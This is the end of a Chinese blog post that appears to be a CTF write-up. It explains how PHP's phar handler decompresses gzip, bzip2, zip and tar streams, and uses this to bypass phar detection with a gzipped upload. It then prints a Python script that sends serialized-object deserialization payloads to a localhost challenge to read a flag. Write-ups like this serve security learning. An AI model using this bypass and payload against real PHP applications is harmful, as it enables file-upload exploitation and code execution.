所以说这里是关键,只要有.phar相关字段,phar的底层代码就会接着跑下去,因此文件尾只要有phar,他就会运行phar的相关函数

再追踪到phar_open_from_fp,这里的代码比较长,但是大致的逻辑如下

打开 phar 文件流
   ↓
尝试 rewind 到起始位置
   ↓
是否 gzip?→ 解压 → rewind
是否 bzip2?→ 解压 → rewind
是否 zip?→ phar_parse_zipfile
是否 tar?→ phar_parse_tarfile
   ↓
扫描 __HALT_COMPILER();
   ↓
找到了 → phar_parse_pharfile()
找不到 → 报错并退出

可以看到phar判断了gzip流,bzip2流,zip流,tar流,解压到临时流,再继续扫描 __HALT_COMPILER();。最后的结论就是,比如我们生成了一个phar文件,然后把他打包成gz文件,当我们include这个gz文件时,php会默认把这个gz文件解压回phar进行解析。

最后我们把得到的phar文件改名为1没有后缀,然后gzip压缩。这样可以绕过phar的检测。最后进行文件上传即可,这里直接贴lamentXU的代码,因为后面的内容就没办法去本地测试了。

import requests
# a:3:{i:0;O:4:"test":3:{s:8:"readflag";s:6:"104206";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}i:1;O:4:"test":3:{s:8:"readflag";N;s:1:"f";a:2:{i:0;s:62:"class@anonymous/var/www/html/index.php(1) : eval()'d code:1$0";i:1;s:8:"readflag";}s:3:"key";s:4:"func";}i:2;O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:8:"readflag";s:3:"key";s:4:"func";}}
target = 'http://localhost:8000/'
a = 'O:4:"test":3:{s:8:"readflag";s:5:"18110";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}'
b = 'O:4:"test":3:{s:8:"readflag";s:5:"18110";s:1:"f";s:55:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}'

pay = 'a:2:{i:0;'+a+'i:1;'+b+'}'
res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.gz', 'rb'))})
print(res.text)

以上,只能说道阻且长。

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇